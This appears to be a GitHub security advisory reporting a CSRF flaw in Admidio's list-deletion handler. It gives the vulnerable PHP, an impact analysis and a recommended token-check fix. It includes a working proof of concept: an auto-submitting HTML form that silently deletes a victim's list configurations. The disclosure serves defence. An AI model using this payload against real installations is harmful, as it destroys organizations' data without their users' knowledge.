- "details": "### Summary\n\nThe `delete` mode handler in `mylist_function.php` permanently deletes list configurations without validating a CSRF token. An attacker who can lure an authenticated user to a malicious page can silently destroy that user's list configurations — including organization-wide shared lists when the victim holds administrator rights.\n\n### Vulnerable Code\nFile: `modules/groups-roles/mylist_function.php`\n\nThe CSRF token validation at lines **81–82** is scoped exclusively to the save, save_as, and save_temporary modes:\n\n```php\n// Line 81-82 — only runs for save modes\n$categoryReportConfigForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);\nif ($_POST['adm_csrf_token'] !== $categoryReportConfigForm->getCsrfToken()) {\n throw new Exception('Invalid or missing CSRF token!');\n}\n```\n\n<img width=\"857\" height=\"162\" alt=\"imagen\" src=\"https://github.com/user-attachments/assets/caec390e-ba6f-40f0-bb9c-a8870679da3d\" />\n\nThe `delete` case at lines **159–161** executes the destructive operation with no token check:\n\n```php\n} elseif ($getMode === 'delete') {\n // delete list configuration\n $list->delete(); // no CSRF validation\n echo json_encode(array('status' => 'success', ...));\n exit();\n}\n```\n\n<img width=\"560\" height=\"133\" alt=\"imagen\" src=\"https://github.com/user-attachments/assets/2d5eff8e-bbce-49b9-b6d5-77f4e2e6db69\" />\n\nA global input guard at lines **40–48** requires a non-empty `column[]` POST parameter for all modes including `delete`. This guard serves no security purpose for deletion, it exists for save validation but it must be satisfied to reach the delete handler. Any static value such as `LAST_NAME` is sufficient.\n\n### Impact\n\nAny authenticated user with list edit permission can be targeted. Admidio ships with six organization-wide shared lists (`lst_global = 1`): Address list, Phone list, Contact information, Membership, Members, and Contacts. When an administrator is the CSRF victim, these global lists are permanently deleted affecting all members of the organization. There is no soft-delete or recovery mechanism.\n\n---\n\n### Proof of Concept\n\n> First my video PoC, after that, the proof of concept with detail. \n\n[Watch Video](https://drive.google.com/file/d/1STAIDs32dTKCrQ4E-4BNMOO75ssSk48q/view?usp=sharing)\n\n* Prerequisites: Victim is authenticated in Admidio. Attacker knows the target list UUID (visible in the page URL at modules/groups-roles/mylist.php?list_uuid=...)\n\n1. Step 1: Attacker serves this page from any HTTP origin:\n\n```html\n<!DOCTYPE html>\n<html>\n<body>\n <form id=\"f\" method=\"POST\"\n action=\"http://TARGET/modules/groups-roles/mylist_function.php?mode=delete&list_uuid=TARGET_UUID\">\n <input type=\"hidden\" name=\"column[]\" value=\"LAST_NAME\">\n </form>\n <script>document.getElementById('f').submit();</script>\n</body>\n</html>\n```\n\n> Since browsers block CSRF files, I did the proof of concept by setting up a local server with Python on the 9090. ok? \n\n2. Step 2: Victim visits the attacker page while logged into Admidio.\n3. Step 3: Server responds immediately:\n\n```json\n{\"status\":\"success\",\"url\":\".../modules/groups-roles/mylist.php\"}\n```\n\n4. Step 4: List is permanently deleted. Verified via:\n```sql\nSELECT lst_name FROM adm_lists WHERE lst_uuid='TARGET_UUID';\n-- Empty result set\n```\n> No `adm_csrf_token` field is required anywhere in the request.\n\n### Recommendation Fix: \n\n> It's so simple. \n\n* Apply the same `SecurityUtils::validateCsrfToken()` pattern already used in the save modes:\n\n```php\n} elseif ($getMode === 'delete') {\n SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n $list->delete();\n echo json_encode(array('status' => 'success', ...));\n exit();\n}\n```\n\nAdditionally, the `column[]` input guard at lines **40–48** should be moved inside the `in_array($getMode, ['save', 'save_as', 'save_temporary'])` block, since delete requires no column data and the guard currently forces attackers to include a trivially satisfiable dummy value.\n\n<img width=\"751\" height=\"240\" alt=\"imagen\" src=\"https://github.com/user-attachments/assets/607510b9-64a9-49fb-8806-604b651d31a8\" />\n\n**Reported by:** Juan Felipe Oz [@JF0x0r](https://x.com/PwnedRar_)\n> [LinkedIn](https://www.linkedin.com/in/juanfelipeoz/)",
0 commit comments